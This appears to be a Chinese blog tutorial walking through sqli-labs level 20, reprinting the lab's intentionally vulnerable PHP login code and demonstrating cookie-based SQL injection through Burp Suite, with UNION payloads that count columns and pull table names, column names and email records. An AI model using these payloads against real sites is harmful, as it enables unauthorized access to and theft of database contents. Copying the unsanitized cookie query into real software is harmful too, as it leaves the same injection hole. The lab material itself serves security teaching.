SQL注入--利用cookie进行注入
SQL注入–利用cookie进行注入
靶场:sqli-labs-master
下载链接:靶场下载链接
第20关
php源码:
<?php
//including the Mysql connect parameters.include("../sql-connections/sql-connect.php");error_reporting(0);
if(!isset($_COOKIE['uname'])){//including the Mysql connect parameters.include("../sql-connections/sql-connect.php");echo "<div style=' margin-top:20px;color:#FFF; font-size:24px; text-align:center'> Welcome <font color='#FF0000'> Dhakkan </font><br></div>";echo "<div align='center' style='margin:20px 0px 0px 510px;border:20px; background-color:#0CF; text-align:center;width:400px; height:150px;'>";echo "<div style='padding-top:10px; font-size:15px;'>";echo "<!--Form to post the contents -->";echo '<form action=" " name="form1" method="post">';echo ' <div style="margin-top:15px; height:30px;">Username : ';echo ' <input type="text" name="uname" value=""/> </div>';echo ' <div> Password : ';echo ' <input type="text" name="passwd" value=""/></div></br>'; echo ' <div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="submit" value="Submit" /></div>';echo '</form>';echo '</div>';echo '</div>';echo '<div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">';echo '<font size="3" color="#FFFF00">';echo '<center><br><br><br>';echo '<img src="../images/Less-20.jpg" />';echo '</center>';function check_input($value){if(!empty($value)){$value = substr($value,0,20); // truncation (see comments)}if (get_magic_quotes_gpc()) // Stripslashes if magic quotes enabled{$value = stripslashes($value);}if (!ctype_digit($value)) // Quote if not a number{$value = "'" . mysql_real_escape_string($value) . "'";}else{$value = intval($value);}return $value;}echo "<br>";echo "<br>";if(isset($_POST['uname']) && isset($_POST['passwd'])){$uname = check_input($_POST['uname']);$passwd = check_input($_POST['passwd']);$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";$result1 = mysql_query($sql);$row1 = mysql_fetch_array($result1);$cookee = $row1['username'];if($row1){echo '<font color= "#FFFF00" font size = 3 >';setcookie('uname', $cookee, time()+3600); header ('Location: index.php');echo "I LOVE YOU COOKIES";echo "</font>";echo '<font color= "#0000ff" font size = 3 >'; //echo 'Your Cookie is: ' .$cookee;echo "</font>";echo "<br>";print_r(mysql_error()); echo "<br><br>";echo '<img src="../images/flag.jpg" />';echo "<br>";}else{echo '<font color= "#0000ff" font size="3">';//echo "Try again looser";print_r(mysql_error());echo "</br>"; echo "</br>";echo '<img src="../images/slap.jpg" />'; echo "</font>"; }}echo "</font>"; echo '</font>';echo '</div>';}
else
{if(!isset($_POST['submit'])){$cookee = $_COOKIE['uname'];$format = 'D d M Y - H:i:s';$timestamp = time() + 3600;echo "<center>";echo '<br><br><br>';echo '<img src="../images/Less-20.jpg" />';echo "<br><br><b>";echo '<br><font color= "red" font size="4">'; echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];echo "</font><br>"; echo '<font color= "cyan" font size="4">'; echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR']; echo "</font><br>"; echo '<font color= "#FFFF00" font size = 4 >';echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";echo '<font color= "orange" font size = 5 >'; echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);echo "<br></font>";$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";$result=mysql_query($sql);if (!$result){die('Issue with your mysql: ' . mysql_error());}$row = mysql_fetch_array($result);if($row){echo '<font color= "pink" font size="5">'; echo 'Your Login name:'. $row['username'];echo "<br>";echo '<font color= "grey" font size="5">'; echo 'Your Password:' .$row['password'];echo "</font></b>";echo "<br>";echo 'Your ID:' .$row['id'];}else {echo "<center>";echo '<br><br><br>';echo '<img src="../images/slap1.jpg" />';echo "<br><br><b>";//echo '<img src="../images/Less-20.jpg" />';}echo '<center>';echo '<form action="" method="post">';echo '<input type="submit" name="submit" value="Delete Your Cookie!" />';echo '</form>';echo '</center>';} else{echo '<center>';echo "<br>";echo "<br>";echo "<br>";echo "<br>";echo "<br>";echo "<br>";echo '<font color= "#FFFF00" font size = 6 >';echo " Your Cookie is deleted";setcookie('uname', $row1['username'], time()-3600);header ('Location: index.php');echo '</font></center></br>';} echo "<br>";echo "<br>";//header ('Location: main.php');echo "<br>";echo "<br>";//echo '<img src="../images/slap.jpg" /></center>';//logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a');fwrite($fp,'Cookie:'.$cookee."\n");fclose($fp);}
?>
知识补充:
http 无状态:用户访问一次服务器后,第二次访问时,服务器不会记得此用户访问过,因此返回结果与第一次一样
http返回信息中:1开头表示通知
2开头表示成功
3开头表示重定向
4开头表示客户端差错
5开头表示服务器端差错
cookie:cookie是客户第一次访问服务器时,服务器产生,后通过response的setCookie方法,将登陆信息放到响应头中,客户收到响应后,将cookie值存储在本地,下次访问同一个服务器时,即http-request请求时会将这个cookie放到request的Header中。服务器后台就可以根据cookie中有没有登陆信息,或者登陆信息是否超时来做进一步操作。
参考链接
效果:
第一次请求:
登陆后:
关闭浏览器,再次访问此页面,保存了登陆状态
这就是cookie的作用
使用burpsuite抓包进行分析
拦截返回包
可以看到,服务器的返回包中设置了cookie
此时放包,再次请求然后抓包
此时的请求中就带有服务器产生的cookie参数了
①.可以看到此时的请求包中直接另uname=admin,尝试在admin后加上单引号
然后放包观察页面回显
页面发生报错。可以确定存在sql注入,并且极有可能是使用单引号进行查询的sql语句
②.
1.猜解字段数:
Cookie: uname=admin' order by 3 --
页面无报错
说明字段数为3
2.猜解回显点
Cookie: uname=ssadasdasdsadsad' union select 1,2,3 --
回显点为2,3
后续注入语句参考sql注入–报错型
3.查询数据库中表的名字
Cookie: uname=admin' union select 1,group_concat(table_name),user() from information_schema.tables where table_schema=database() --
4.查询对应表中的字段名
Cookie: uname=admin' union select 1,group_concat(column_name),user() from information_schema.columns where table_name='emails' --
5.查询对应表中字段的数据
Cookie: uname=admin' union select 1,id, email_id from emails where id=1 --
SQL注入--利用cookie进行注入相关推荐
- 关于sql注入之cookie注入
小知识:所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后 ...
- MySQL注入读写文件、HTTP头中的SQL注入和cookie注入
MySQL注入读写文件 MySQL数据库在渗透过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行对文件进行读写(前提是权限足够) 读取前提: 1.用户权限足够高,尽量具有root权限 2. ...
- SQL查询结果集对注入的影响及利用
对于注入而言,错误提示是极其重要.所谓错误提示是指和正确页面不同的结果反馈,高手是很重视这个一点的,这对于注入点的精准判断至关重要.本问讨论下关于几类错误和他产生的原理,希望对读者有所帮助. 错误提示 ...
- sql注入利用_SQL注入:这是什么? 原因和利用
sql注入利用 摘要 (Summary) Many security vulnerabilities are discovered, patched, and go away forever. Som ...
- 利用Cookie劫持+HTML注入进行钓鱼攻击
目录 HTML注入和cookie劫持: 发现漏洞 实际利用 来源 HTML注入和cookie劫持: HTML注入漏洞一般是由于在用户能够控制的输入点上,由于缺乏安全过滤,导致攻击者能将任意HTML代码 ...
- 【SQL注入-15】自动化注入案例—以sqli-labs-less9为例(利用sqlmap工具)
目录 1 前言 2 自动化注入案例-以sqli-labs-less9为例 2.1 实验平台 2.2 注入前准备 2.3 判断注入点及注入类型 2.3.1 自动判断注入点及注入类型 2.3.2 手动判断 ...
- php sql 二次注入,espcms 二次注入一枚
Author:Yaseng 1:通过 $alias 二次注入来控制sql 用户昵称 $alias 从数据库查询出来 未过滤 interface/member.php [php] $db_sql = & ...
- sql注入_1-8_宽字节注入
文章目录 一.sql_宽字节注入概念 二.sql_宽字节注入源码分析 三.sql_宽字节注入演示 四.sql_宽字节注入总结 一.sql_宽字节注入概念 1.了解宽字节注入前,必须先了解字符集编码:点 ...
- 《小迪安全》第14天 SQL注入:注入类型及提交注入
目录 注入前需要明确 数据库类型 请求方法 数据类型 演示案例 参数字符型注入测试:sqlilabs less 5 6 POST数据提交注入测试:sqlilabs less 11 COOKIE数据提交 ...
最新文章
- agilebpm脑图_干货基于SpringBoot2开发的Activiti引擎流程管理项目脚手架
- Python超详细的字符串用法大全
- HD-SDI DVR发展与应用剖析
- CodeForces:103(div1)104(div2)
- android 字体荧光效果,Android-荧光效果
- forward/redirect跳转页面的区别
- C# Conditional(方法,属性的忽略)使用
- ElasticSearch2.1 基于空间位置geo_query距离计算
- Centos挂载iscsi存储
- word表格三线表线宽度
- python为什么要安装pip_为什么您应该使用`python -m pip`
- 土地数据合集-土地出让数据2020版Globe30土地覆盖数据
- win10系统安装jdk8简易教程
- NoteExpress
- 2020年中国SCADA行业产值、市场规模及竞争格局分析[图]
- python应用——简单的跟随北上资金策略
- Ambari Server重启报错的解决办法
- 只读ppt如何获得可编辑版本?
- Java实现HMacMD5加密,用于淘宝客JS 组件 API 调用时生成 sign 的签名
- 【树莓派】网络视频监控